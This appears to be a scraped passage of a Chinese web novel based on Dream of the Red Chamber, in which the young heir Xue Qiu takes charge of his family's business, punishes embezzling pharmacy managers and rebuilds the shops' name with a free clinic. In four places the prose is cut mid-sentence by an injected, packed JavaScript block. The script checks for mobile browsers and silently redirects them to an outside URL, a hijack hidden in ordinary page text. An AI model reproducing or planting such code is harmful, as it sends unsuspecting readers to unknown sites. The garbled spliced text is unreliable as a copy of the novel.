薛虯看向京都的方向，皇帝御宇数十年，而今已垂垂老矣。太子早立，然而近年来行事荒唐，与皇父矛盾频发，一度有废黜之议。皇子们蠢蠢欲动，百官也各有归附，朝堂上早就暗潮汹涌。 对投机者来说，这是一个机会，一旦押注成功，便能青云直上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431573|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 想要入局并不容易，但薛家不是毫无资本——他们有钱！ 有钱能使鬼推磨，皇子也不能免俗，眼下需要考虑的是，他要投入哪个皇子门下。 皇帝膝下皇子不少，但成年的只有六个。 太子乃中宫皇后所出，既嫡且长，幼时便被封为太子。皇帝与皇后少年结发，感情甚笃，太子又是他二十四岁倍感压力时出生的第一个皇子，自然颇为看重。皇后去世后，皇帝更是将一腔思念托付在儿子身上，十分宠爱。 二皇子与太子仅相差半岁，乃贵妃崔氏所出。崔氏出身著姓望族，家族子弟众多，在朝堂上能量不小。二皇子颇有才干，又有崔氏作为臂助，气焰极盛，多年来与太子针锋相对，剑指储君之位。 这两位都是争储热门选手，身边英才环绕，愿意为他们效力的家族多不胜数，想要在他们身边出头实在太难。且薛虯并不好看这两位，所以不纳入考虑。 三皇子早逝不提。 四皇子乃宠妃所出，外家家世不高，他本人低调内敛、各项才能均不拔尖，在皇子中存在感不高。但薛虯研究过，但凡交到四皇子手里的差事，每一桩都完成得极为出色，可见他并非没有能力，也不是没有野心，只是收敛了锋芒罢了。 五皇子和七皇子乃甄贵妃所出，甄贵妃在后宫风头无两，两位皇子也聪明伶俐，很得皇帝喜爱，很难说会不会后来者居上。 六皇子体弱多病，一年中有一半时间都下不了床，肯定是坐不了皇位的。 剩下的几位皇子年纪还小，而皇帝已过耳顺之年，人活七十古来稀，他们几乎没有成长起来，和前面几位兄长竞争的机会。 这样算来，合适的人选只有四皇子、五皇子和七皇子。 薛虯更看好四皇子，此人隐忍有谋算，且精干务实，很有梦里清朝某位皇帝的品格，巧合的是，他们还都行四。至于五皇子和七皇子……原著里甄家可是被抄家了的，可见此二人并没有成功登顶。 但是要如何接近四皇子，并且取得他的信任呢？ 若薛虯没猜错，贾家和王家也掺和到了夺嫡之中，王家支持的应该是二皇子，贾家则很可能压了两注宝，分别是太子和五皇子，薛家与这两家互为姻亲，换成他是四皇子，也很难信任薛家啊！ 薛虯手指在桌子上轻点，为今之计，便是趁进京核算例银的机会，想办法先与四皇子搭上关系，然后再慢慢图谋。 9. 第 9 章 至于叫宝钗放弃选秀？薛虯没想过。 他支撑门庭、守护家业，就是为了让家人随心所欲。宝钗心胸不输男儿，困守在后宅四方之地才是误了她，既然有腾飞的机会，当然要尽力托举。 且薛家作为商户，总要借着旁人的势力才能暂时求安，一旦靠山倾塌，他们便离覆灭不远。既然如此，不如找天下最强大的人做靠山，除了皇帝，便是下一任皇帝，这一步本就是必须要走。 只是薛虯原本打算待夺嫡结束后再向新帝投诚，他有万贯家财，还有后世的知识与技术，不愁混不出一点名堂，就算不能位极人臣，至少保住薛家不成问题，如今换一个方式，风险与回报同样变大，说不上哪个更好。 但即便最终事败，薛虯也有信心护着母亲和弟妹过安生富贵的日子，如此一来，这点风险便也不算什么了。 薛虯在心里盘算了几遍，便听长瑞回禀，说管家薛文盛在外求见。 “请进来！” 薛文盛乃薛家的家生子，七八岁上被选做薛父的伴读，二人一同长大，情谊深厚。他本不姓薛，在薛父继承宗祧后被赐主姓。薛父临去前，将家事暂时托付给他，可见信任深重。 薛文盛虽是下人，然而在薛家地位不一般，薛虯对他也格外敬重。 门帘子被挑开，一个四十多岁的中年男人走了进来，他身量中等，身形清瘦，面容略有些凹陷，留着一把山羊胡，修剪得整洁干净，一双眼睛明亮有神。 他身后还带着两个小子，抬着一口红木箱子。 薛虯叫了一声“盛伯”，看向那箱子：“这是什么？” 薛文盛行了礼，叫那二人将箱子放下，看人出去了，才对薛虯拱拱手：“先头大爷忙着冯家的事，老奴不便打扰，如今事情已了，家里的事也该交还给您了。” 说着便打开箱子，里头是账本与各种契书，又从袖里掏出印鉴，一并请薛虯验看。 薛虯请他坐下，又让小厮上茶，这才道：“您先管着便是了，何必这般着急？” 薛文盛叹气：“老爷信任老奴，临终时将家业托给老奴，可惜老奴才疏学浅，不能保住薛家昌盛。如今将这担子交给大爷，老奴便能喘一口气了。” “您太谦虚了，我虽不在家，但您为了薛家尽心尽力，我都是看在眼里的。蟠儿不成器，家里没个能当家做主的人，您能做到这个地步，已经十分难得了。” 这是真心话，薛文盛再能干也只是管家，做事难免束手束脚，可薛家在他的管理下不说井井有条，至少大面上过得去。盈余比往日少了许多，却也没到亏损的地步，已经十分难能可贵了。 薛虯：“当日父亲总说，您与他一起长大，白天学一样的学问、晚上一个屋子睡觉，什么话不能与旁人说，只在您跟前不用避讳，与亲兄弟也没差别了。我与蟠儿不孝，好在有您在，才不至于令父亲走得不安。” 薛文盛眼中滚出泪来，忙侧过身擦掉，说道：“老爷去前唯一的憾事，便是不能亲自将家业交到大爷手里，如今大爷既已回来，便该早日顶立门户，老爷在天之灵，必定觉得欣慰。” 话说到这个地步，薛虯便没有再推辞。 其实他本也要将薛家的权利拢到自己手里，只是不想太过急切使老人寒心，薛文盛能主动送来再好不过。 他道：“我年轻，万事还要盛伯帮衬，您想躲闲只怕不成！” 薛文盛笑呵呵的，一点也不觉得麻烦，只觉得小主子信任他，一口便应下了。 薛虯这才开始看账本，薛文盛坐在一旁，以备薛虯发问。 从前薛文盛每月向薛虯汇报，碍于时间紧张，只能捡重要的说，其中细节薛虯却是不知的。今儿看了账本才知道，原来薛父才去世几个月，不止市敌对薛家虎视眈眈，就连他们内部也出现了许多问题。 以次充好、虚报物价、内外勾结、私吞财货……这些蛀虫是钻在薛家的肉里吸血！ 薛文盛惭愧道：“大爷不在，老奴不敢管得太狠。” 薛虯微微颔首：“你做得对！” 风雨飘摇的时候，自然是稳定最要紧，有些事睁一只眼闭一只眼也就罢了。 不过薛虯既然回来，该处理的就得处理了。 他手指在药铺账册上点了点：“就先从这里开始吧，三日后请药铺管事来府里叙话。” 薛文盛：“是！” * 薛虯要见药铺管事！ 这个决定做下没多久，薛母就收到了消息。她扶着额头犯愁：“要清算便清算罢，怎么先从药铺下手？那里头都是老人，多少有情分在……” 说着就要使人去请薛虯来。 宝钗连忙给拦了，柔声道：“哥哥不是莽撞的人，这么做必定有考量，妈既然决心将外头的事交给哥哥，何苦再多费心思？若伤了您与哥哥之间的情分反倒不值了。” 薛母：“可若咱们太无情，岂不是伤了老人们的心！” 宝钗眉宇间便显出几分冷淡：“这原怪不得哥哥，哥哥回来已有几日了，又特意选在三日后相见，若药铺的人还念着情分，趁这些时日把亏空补上，想必哥哥也不会深究。若他们不肯，那便是欺负哥哥年轻，不念与咱们家的情分在先了。” 薛母沉默不语。 薛宝钗轻柔地给她按额头：“前些日子妈还说哥哥命格破了是好事，要去白云观小住几日祈福还愿。我瞧着这几日天儿好，不若我陪着妈去吧，倘过几日落了雪，今年便不成行了。” 白云观是位于金陵西边的一座女观，这便是要让薛母避开了，免得老人求上门，叫她左右为 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知道薛虯要见他们，有些人心中慌乱。 这些日子他们冷眼瞧着薛虯对冯渊一事的处置，显见不是薛蟠那样的纨绔子，不知召见他们是为了什么。 有些人心虚、胆子小，就想着将亏空归还一部分，将账面平一平，好歹别那么难看，万一查问起来也有话可说。 可也有人不以为意，一个五十多岁，双鬓已经斑白的男人听到通知，只是淡淡一笑。 不过是个十三四岁的少年罢了，能有多少见识？若没有切实的证据，即便他是薛家家主，也不能处置他们这些老人。便是找到了证据，法不责众，薛虯还能将他们这些人都打发了不成？ 那他这药铺生意也别想好好做了！ 此人名叫董维，乃其中一家药铺的掌柜，他原跟着薛家祖父做事，后来又受薛父重用，称一句元老也不过分。薛父在时对他颇为敬重，一应待遇也给得极高，可薛父走后，他也是吃相最难看的。 薛虯看着手里的证据，这是账本和一些人的证词，足以证明董维的确在药铺的经营中做了手脚。旁人只是在账目上做文章，私吞一些贵重药材，虽然侵吞主家利益，却损不了药铺根基。 可董维却胆大包天，以次等药材代替铺子里的上好药材，将其中差价纳入自己的荷包。 次等药材并非不能用，事实上外头很多药铺用的便是次等药材，然而薛家一向以药材质量上佳著称，价格也比同行略贵一些，董维这么做，无疑是在摧毁薛家的声誉！ 他害的不止他手下那一家药铺，整个金陵、乃至更多地方的药铺生意都会受到影响！ 薛虯捏紧了手里的纸，他得想想，该怎么处理这个董维。 10. 第 10 章 很快便到了第三日，一大早，众人齐聚薛家的花厅之内，多日不曾来过，这里早已一扫破败颓唐之气，与薛父在时无甚差别。 小厮捧茶上来，举止利落，井然有序，再看外头往来伺候之人，个个恭敬规矩，精气神格外昂扬，跟前些日子半死不活混日子的模样大为不同。 由小见大，下人如此，可见这位神秘的大爷很有几分本事。 惊奇之余，有些人心里开始打鼓，看来是他们小瞧了薛虯，不知今日他会使出什么手段？ 董维笑了一声：“贤侄刚接管家业，想要见见我们也是有的。他年纪小，从前又常居观中，只怕对经营之道不太熟悉，少不得咱们这些做叔伯的帮衬些。” 众人：“……” 心虚之人有没有被安慰到不知道，反正其他人有点无语。 薛虯年纪再小，现在也是正儿八经的薛家家主，是他们的主家，高兴了叫他们一声叔伯，那也是人家尊重。但董维这样一口一个贤侄，未免太把自己当回事了！ 这人从前便有些自矜，如今是越来越没有分寸了。 青桐院里，薛虯听到下人回禀，只是淡淡一笑。他现在不怕董维得意，只怕他服软，否则还不好处置呢！ 等了大约一盏茶功夫，薛虯起身往花厅而去。花厅里等待的人只见下人纷纷退到边上，束手而立，还没反应过来，便听到刻意放重的脚步声，他们也赶紧站起来，匆忙整理衣领袍袖。 毛毡门帘被挑了起来，众人只觉得光华一闪，一个面容俊秀、气质不俗的小厮打头进来，他回头扶了一把，众人才看清走在他后面的少年。 少年身形修长挺拔，面容还带着稚气，气度却超出年龄的沉稳，他垂目缓步走进花厅，映着身后的阳光，如同一幅隽永悠远的泼墨山水。 众人不管抱着何种心思，都不由在心中赞上一声。 好一个少年才俊！ 他们中大部分人都没见过薛虯，从前见薛父看重他，还以为是次子薛蟠太不成器，只能将希望寄托在病弱的长子身上，还惋惜薛父后继无人。 如今见到薛虯，方知是他们想错了。这哪里是无奈之举，分明是最佳选择！ 小小年纪便有如此气度，必定不是凡俗之辈。换成他们有这样的后辈，也不会忍心明珠蒙尘。 不就是体弱多病吗？ 又不是好不了，只是要在道观住上几年罢了，能得一个优秀的继承人，等上几年又何妨？ 只叹薛父不幸了些，未能等到薛虯归家便猝然离世，否则又该是一段佳话。 但他又是幸运的，虽然身后只留下两个幼子，也足以支撑门楣。 众人连忙行礼，口称“大爷”，就连董维也不叫贤侄了。 薛虯微微颔首，从他们面前走过，路过一个高挑儒雅的中年男人时顿住脚，含笑道：“靳叔父一向可好？” 中年男人愣了一下，他也是金陵一家药铺的掌柜，但他并不是董维那样的老资历，在薛父面前没有太大的体面，偶尔逢年过节才来薛家一趟，并没有见过薛虯。 还以为今日只是来走个过场，没想到当家竟然认得他，还和他搭话。靳延回过神来，脸上顿时布满笑意，容光焕发道：“都好！有劳大爷挂念！” “听说令堂病了，如今可好些了？” 靳延不妨他连这点小事都知道，连忙道：“只是一点小病，只是不知怎的总除不了根，故而时常反复。” 薛虯道：“病体难堪，需得好生医治，否则小病磨成大病便不好了。” 正是这个话！靳延的母亲年纪不小了，日日受病痛折磨，做儿子的怎看得下去？只是他跑了好几个药铺，请了三四位大夫诊脉开方，都只能暂时缓解，怎么都除不了根。靳延都不知该如何是好了。 薛虯便道：“我已经叫人与孙老御医说过，叔父明日可带着令堂去孙家看诊。” 靳延大喜，连忙道谢。 薛虯点点头，往前走了几步，又在一位管事跟前停下：“陈伯父，有令孙的消息了吗？” 提到半年前失踪的小孙子，陈管事眼泪差点掉下来，他那小孙孙才五岁，在门口和邻家小孩玩，一个错眼的功夫就丢了，家里人报了官，儿子辞了差事天南海北地找，至今都没有任何消息。 想到那孩子不知在什么地方受苦，害不害怕，想不想家，陈管事就心痛难忍。 薛虯叹气：“把你那小孙子的画像画一幅来，身上有什么特征也描述一下，我叫人往各地铺子里都送一份，大家都帮忙盯着些。” 陈管事当即就要给薛虯跪下，被薛虯拦住了：“您在薛家当差，便是薛家的一份子，既是一家人，能搭把手的地方，没有置之不理的道理。” 陈管事感激不已。 之后薛虯又点到几个人，竟是每个人都认得，对他们家中的情况也十分清楚，且不吝提供帮助，令人感动的同时，也叫有些人心里开始打鼓。 原以为薛虯只是个小孩儿，又在山中清净地长大，没得几分见识。没想到手段如此了得，短短时间就将人心收拢了大半，看这些人的样子，只怕已经接纳这位小家主了。 其实这并非全是薛虯的本事，至少有一半功劳属于薛父。 薛父实在是个很有魅力的人，虽出身商户之家，然而性情舒朗豪迈、喜好交友、待人赤诚，与他接触过的人很难不喜欢他。 如今薛虯这样殷殷关怀，众人仿佛在他身上看到了薛父的影子，自然格外动容，有些人甚至已经开始低头抹泪了。 薛虯将众人的反应看在眼里，心情十分复杂，父亲若在天有灵，看到昔日同行之人走到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431575|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般地步，不知该是何种感受？ 他走到上首，却没有坐下，伸手抚摸椅子把手：“从前父亲也是坐在这里与诸位相见的。父亲常说，诸位与他不止是主从，更是好友。他这一生最得意的只有两件事，一是娶了我母亲，生下我与蟠儿、妹妹三个孩子；二就是有一群志同道合的好友。待到乌发变白，他盼着还能与你们品茶下棋、畅谈古今……” 话音未落，只听“噗通”一声，一个三十来岁的男子跪了下来，重重磕了一个响头，哭道：“我辜负了薛大哥，偷挪了药铺财物，贤侄送我见官去吧！” 薛虯认得此人，他名叫杨丹，原本是个小乞丐，一个人摸爬滚打长大，某年寒冬与人争抢一件破棉袄，被打成重伤扔在雪地里，被路过的薛父救下。 薛父给他安排住处饭食、请医问药，用了数月功夫才将人治好。伤好后杨丹便粘着薛父，立志要为薛父办事，薛父也不忍他再流落街头，便让他进铺子做个小工，后来见他踏实忠心，将其调进药铺。 杨丹原本没有姓，只有个“大蛋”的名字浑叫着，薛父本想叫他姓薛，被杨丹拒绝了。 他说他问过先生，得要有本事有功劳的人才能跟主子姓，他还什么也没做，不能得到这样的优待。他想姓杨，因为先生说杨家多忠臣，他也会是薛家的忠臣。 彼时薛父哭笑不得，但也感动于他的真心，为他起名为丹，取“一片丹心”之意。 时移世易，没想到发誓要一辈子忠于薛家的杨丹，有一天也会跪在地上忏悔自己的罪过。 薛虯心中复杂，面上却佯作惊讶：“杨叔父这是何意？” 杨丹便将原委细细到来，原是数月前他妻子难产，好不容易生下孩子，自己的身体却受到损伤，需要上好的人参调养，上好的人参价贵，杨丹掏空家底也支撑不了多久，恰好那时药铺已经乱了起来，好些人趁机占铺子便宜，杨丹也鬼迷心窍，从药铺的账上挪了几支五十年的山参。 薛虯听到他报出来的数目，再次惊讶了一下。杨丹的所作所为薛虯都知道，他统共挪了五支人参，在薛虯回来后补上了其中三支的银钱，将账目做平了一些，也就是说他实际挪用了两支山参。 但他现在说的还是五支。 薛虯又是一叹，叫长瑞将人扶起来，先问：“婶娘的病可好些了？” “好多了。”杨丹哽咽着说。 薛虯：“杨叔父虽然有错，却也是无奈之举。既然认错，便在三年内将人参的钱补上吧。若以后再犯，便两错并罚。” 杨丹连忙道谢，人参钱虽然多，但以他的收入，三年内还清并非不能，只是生活清苦一些罢了。这本就是他应得的，若没有薛父，他早就不知烂在哪里了，若非为了家人，他绝不可能动这样的心思，这些日子内心饱受折磨，如今总算解脱了。 11. 第 11 章 在杨丹之后，又有几个人主动承认错误，他们犯的错都不大，态度也很诚恳，薛虯没有太计较。 处理完这几个人，就再没有人站出来了。如董维这样真正的腹心蠹，一个冒头的都没有。 薛虯在椅子上坐下，缓缓开口：“今儿叫诸位叔伯前来，原本是我初初接管家业，想要与大家见上一见。不过既然提到药铺亏空，我这几日看账本，有几个问题想请诸位解惑。” 他的目光在众人脸上转了一圈，最终落在老神在在，仿佛一切与自己无关的董维身上，含笑道：“董伯，你在薛家干了几十年，经验丰富，这次你手下的铺子亏空也不小，里头到底有什么缘故，你可知道？” 董维被点名，立刻换上一副愁苦的表情，唉声叹气：“大爷有所不知，药材最怕受潮。今年雨水大，一个看管不力，许多药材便受潮损了药性，不得不重新换上一批，这便是一项亏空。二则，当日那受潮的药材不当心卖出去一些，客人误以为我们店大欺客，渐渐就不来了，这又是另一桩亏空。两样加起来，便成了如今这样。” 好生狡猾！ 将亏空原因推到气候上头，顺便为药材质量不佳找好了理由。坊间对这一点议论颇多，还有人上门闹事过，瞒是瞒不住的，提前解释一下，好堵住薛虯的嘴。 薛虯并不恼，只问：“如你所说，此乃天意，与人无尤了？” “自然不是，若非底下人疏忽，不至于令药材受潮，更不会大意将之卖出去，使药铺声誉受损，这都是小人管理不善的缘故，还请大爷责罚。” 董维一脸诚恳，其他人听得牙酸。 都是千年的狐狸，谁还没看过几本聊斋啊？董维虽然做得隐蔽，但其他人也不是一点看不出来。只是董维老奸巨猾，若拿不出铁证，他必定不肯承认。 不知大爷拿到了多少证据？ 薛虯淡淡道：“据我所知，董伯这数月来在老家置办了不少田地，价值怎么也得在千两上下，不知这些钱从何处而来？” “大爷莫非以为这些钱是小人贪墨来的？”董维一副震惊难过的样子，一抹脸，辩解道，“大爷误会了，小人虽然无能，但是承蒙两位家主照顾，每月有二十两纹银的收入，这么多年省吃俭用，多少能攒出些家底。” 胡说！他何时省吃俭用了？分明每日好酒好菜，衣裳也不乏绫罗绸缎，前几年还在好地段买了栋宅院，上哪攒下千两白银？ 董维毫不心虚：“不怕大爷知道，小人觍为掌柜，难免有些人情往来，小人不好推辞太过，老爷也是知道的。” 这却是实话，药铺虽小，却也有些权利，有人想要上好的人参灵芝，走一走掌柜的门路，请他帮忙留着些也是有的。水至清则无鱼，历任家主都不会在这一点上苛求。 这一笔进项的数目难以细究，多少都由着董维自己说，倘若以此来怪罪他，那薛虯便要尽失人心了。 果真是人老成精，滴水不漏。 薛虯冷笑一声：“董伯所言的确合情合理，但我查到的这些东西又是什么意思？” 长瑞将一沓纸送到他面前。 董维心里重重一跳，强撑着接过一瞧，手便不由自主抖了起来，上头都是他替换药材的证据。如何以次一等药材替换好药材，如何平账、如何堵住众人之口，涉及多少人、共得了多少银钱、每人各分得多少，全部都清清楚楚，乃至相关人员的口供都一应俱全，若拿到朝堂上，几乎可直接给他定罪。 董维心知再没有自己的辩驳空间，不由瘫软在地，看着薛虯的眼神十分复杂，怎么也想不明白，一个不显山不露水的少年，行事怎会这般周密，又是如何得到这些证据？ 最后薛虯也没将董维送官，只是令他归还贪墨财物，算是全了这些年的情分。 董维被拖下去的时候满脸灰败，他一生受俸于薛家，日子过得风生水起，如今要归还财物，还失去薛家的差事，面子和里子一起没了，以后日子还不知要过成什么样。 诸位管事心惊胆颤，心里有鬼的更是瑟瑟发抖，薛虯能将董维的事查得这般清楚，要查他们想来也易如反掌，只恨他们低估了这个少年，今日恐怕落不了好儿。 但是后悔也晚了，薛虯给足了他们机会，是他们自己不肯悔改，如今想回头也不能了。 薛虯照样拿出证据，不给任何人辩驳的余地。 雷厉风行处置了几人，花厅里安静地落针可闻，管事们低头垂目，显得格外恭敬。 薛虯叹了一声，语重心长道：“我也知道，过日子难免遇到难处，日后若有为难之处，诸位尽可告知薛家，能帮的地方薛家一定会帮。我将专门派人负责此事，另外，每年拨出一笔银钱，专门用于接济遇到困难之人。只一样，若以后再有人私下弄鬼、损公肥私，就不要怪我不讲情面了。” 众人应“是”。 能来这里的，在薛家都有一定地位，每年例银颇为丰厚，钱财上并不十分紧缺，故而对银钱接济不甚在意。 但很多事不是有些钱财便可解决的，譬如请孙老御医看诊、又或者让薛家所有铺子帮忙找人，若没有主家帮助，凭他们自己根本做不到。 薛虯愿意在他们遇到困难时借势给他们，结结实实解除了很多人的后顾之忧，众人只觉得心中松快，对薛虯也十分感激。 至于那银钱接济——他们自己不需要，可他们手底下也有人，这年头讨生活不容易， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431576|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子艰难的多了去了，若能得这一份补贴，日子就能好过许多，也是积善积德的好事！ 这一番恩威并施，薛虯算是树立了威信，至少短时间内，这些管事是不敢作妖了。消息传出去后，其余产业上的人也心惊胆颤，若论起贪墨，他们贪的不比药铺之人少，从前不过是欺负主家无人才敢肆无忌惮，如今见识了薛虯的手段，难免心生畏惧。 药铺的人跟主家更亲近些，薛虯下手都这般不留情，更何况他们呢？ 只怕要直接送去见官了！ 畏惧之下，一部分人选择补上亏空，即便不能全数补足，也要尽己所能，且再不敢有小动作。但也有人不信邪，认为薛虯只是杀鸡儆猴，并不会真的拿他们怎么样，后来被薛虯追责的追责、送官的送官。 有人去找薛母求情，然而薛母一直住在白云观，以祈福为由不见外人，便是派女眷去也见不到面。 还有人去找薛蟠，薛蟠趴在床上无语道：“我连自己都管不了，还能替他们求情？” 长福：“……” 您也不用这么理直气壮吧。 等到将人打发走了，薛蟠嗤笑出声：“当我是傻的不成，大哥再怎么不好，那也是我亲大哥，他们跟我有什么关系？凭什么为了他们顶撞大哥？” 长福挠挠头，不知二爷到底糊涂还是聪明了。 这是后话，此刻薛虯刚刚送走脚步虚浮的药铺管事，带着特意留下来的杨丹几人去了后头书房，让小厮拿来几只小匣子递给他们。 杨丹等人心中疑惑，好奇地打开，只见里头是几张银票，加起来足有二百两。 杨丹将匣子合上推到薛虯面前：“大爷，这钱小人不能要。” 另外几人同样放下匣子，这几人和薛父的感情都不错，这次犯错也各有苦衷，本就已经十分愧疚了，哪里还好再要薛虯的银子？ 薛虯：“几位叔伯便不要推辞了，父亲临终前特意交代我看顾你们，你们遇上难事，我没有及时察觉，本就是我的过失。” 杨丹摇头：“这怎么能怪大爷……” 薛虯：“几位叔伯若心有愧疚，日后办事更尽心些便是了。你们都有老小，尤其是杨叔父，婶娘不能操心劳神，小孩子身子也需要调养，正是需要用钱的时候，别叫他们跟着你们过苦日子。” 话说到这个地步，几人便不好推辞了，只能收下。却暗暗下定决心，日后一定为大爷赴汤蹈火。 杨丹想了想，开口提醒：“大爷处置了董维几人，这股不正之风应该能暂时压制住，只是药铺的名声已经坏了，恶名易得，善名难立，您想好怎么办了吗？ ” 薛虯微微颔首，含笑道：“您放心便是。” 12. 第 12 章 对于商户来说，名声的重要性不言而喻。薛家历来重视名声，诚信经营、信誉至上，此外广做善事、广结善缘，历经几代攒下好口碑。 但这口碑却在短短数月间崩塌了。 一是董维之流以次充好，使客人利益受损，二便是薛蟠横行为恶。 此次在冯渊一事的处理上，薛家表现得十分得体，听说薛蟠还被打了板子，好歹挽回了一点名声—— 薛蟠虽然混账，薛家还是讲道理的嘛！ 但铺子的信誉想要重建却很难，以如今的情况，只能破而后立了。 薛虯坦荡地对百姓承认了铺子里药材出问题一事，并且将前因后果尽数告知。重点落在董维等人欺负孤儿寡母，薛家乃是被奸人蒙蔽，和金陵百姓一样都是受害者。 如此一来，矛盾便被转移到了董维等人身上，百姓对薛家反而有些同情。 这一家子妇孺，守着家财被人算计，多不容易呐！ 但这还不够，同情归同情，百姓也不会拿着辛苦赚来的真金白银去买质次价高的东西。 于是薛虯高调表示，薛家做生意抱诚守真，绝不搞挂羊头卖狗肉那一套。替换药材之人已经处理，这批次一等的药材他们药铺也不会再出售。为了不浪费，同时也是向金陵百姓赔礼，他们将举办一场义诊，将这些药材免费赠予百姓。 除此之外，这数月里在薛家药铺买过次等药材的百姓，查明属实后可获得双倍赔偿。 为此薛虯专门去见了贾雨村一趟，义诊毕竟是大规模活动，需得提前报与当地官府知道。 贾雨村受贾政恩惠，薛家又是当地的地头蛇，本就得罪不得。更何况义诊是好事，若办得好，也是他的一桩政绩，自没有不应的道理。故而爽快应了，划地的划地、拨人的拨人。 在贾雨村的支持下，义诊很快便办了起来。 百姓将信将疑，有人试探地去看病，果真有大夫给他们诊脉，药材也分文不取，并没有什么问题。 药材虽说是次等的，但那是相较薛家原来的药材而言，其实质量还不错，跟市面上的差不多，用来治病肯定足够了。 对于看不起病的穷苦百姓而言，还有什么可挑剔的呢？ 与此同时，药铺也迎来许多上门要赔偿的客人，药铺态度很好，只要查账证明客人消费属实，便会赔偿他们双倍银钱，还会送上一份礼物。 并不是多么贵重的东西，只是薛家铺子里的一些点心和布料，但是收到意料之外的礼物，客人心中就很熨帖了，对薛家药铺降到谷底的好感度也陡然拔高。 有人正好需要买药，想着再给薛家药铺一个机会，在铺子里买了几份药材，回去发现果然很好。 如此一传十十传百，加上薛家到底有几世积累，民间对他们总是更包容一些，口碑便有了回春的趋势，只要日后好好经营，不愁不能重回巅峰。 还有一个意外之喜，便是送给客人的那些礼物，那都是薛家为了年节准备的新货物，客人带回去后发现点心好吃，料子也结实好看，又跑去铺子里买，使得销量大增。 轰轰烈烈搞了一场，最后一算账，薛家不仅没赔，反而小赚一笔，还扭转了口碑，简直赚大了。 这是后话，暂且不表。 此时义诊还在进行之中，薛虯却已经放下此事，带上车马去白云观接薛母和宝钗。 白云观位于金陵西郊，乃一座传承百年的女观。薛母从前偏信佛教，自从薛虯入道观清修后，她便开始笃信道教，每隔几月都要去道观小住祈福。 薛家每年会给白云观大笔香油钱，白云观对薛母也十分礼遇，专门辟出一个院落给薛母居住，平时就空着，不叫其他人踏入。 到了白云观所在的山脚下，薛虯下马车步行上山。 山道蜿蜒，两侧是青松翠竹，有溪水潺潺，伴随鸟鸣阵阵，格外清幽自然。薛虯看惯了山间景色，再见还是心生欢喜。若非还有家族需要承托，还有家人需要庇佑，在山间隐居也是不错的选择。 上得半山腰，便到了白云观。薛虯没有从正门入观，这时候男女大防严重，虽说道观乃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431577|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是方外之地，世俗礼教束缚小些，但能避还是避着些好，免得徒增彼此烦恼。 他从特意开辟的侧门直接进了薛母居住的小院。 远远便见一树腊梅底下铺着蒲团，薛母与一女冠正在说话，旁边的红泥小火炉上烧着热水，宝钗跪坐一旁为她们烹茶。 见到薛虯，女冠停下话头，起身行了一礼便走开了，薛虯这才迈步上前。 薛母问：“事情办完了。” “是，都解决了。” 薛母便悠悠叹了一声，可谓十分复杂。 薛虯不想引她烦心，转移话题：“母亲方才与观主说什么呢，这般高兴？” “不过是闲来无事，请观主看相罢了。”说到这个，薛母又高兴起来，“观主说我和宝钗面相变得更好了，我是长命百岁富贵无忧的面相，宝钗是万事顺遂大富大贵呢！” 薛虯看向含笑听他们说话的宝钗，心里也漫出几分欢喜。 从前的薛虯不信批命面相，可这十几年见多了奇事，又亲身经历过，便不得不信了。若那个梦为真，他们这个世界合该是有神仙的，这些修仙问道之人也各有各的本事。 白云观观主的相面之术在江南小有名气，她说薛母与宝钗面相好，说不定便是真的呢。 如此薛虯便可略微松口气了。 薛虯一行没有在白云观久待，东西早就收拾好了，搬到车上即可出发。 回去的路上时不时能看到拎着药包从城里回来的百姓，还有许多病人往城里赶。 走到一半，薛虯察觉到气氛不太对，有一队人马行迹诡异，似乎在沿路找什么东西，看他们的穿着和身下的马匹，只怕出身不凡。 薛虯叫来长瑞，叮嘱道：“让护卫们警醒些，别叫他们冲撞了太太和姑娘。” 此时，金陵城外的一处破旧茅草房里，穿着一身破烂劲装的英武青年从怀里掏出一只瓷瓶，送到半靠在墙上、脸色苍白的男子面前：“好在薛家在施药，属下趁乱领了一些，应该不会引起他们怀疑，主子快些用上吧。” 13.第 13 章 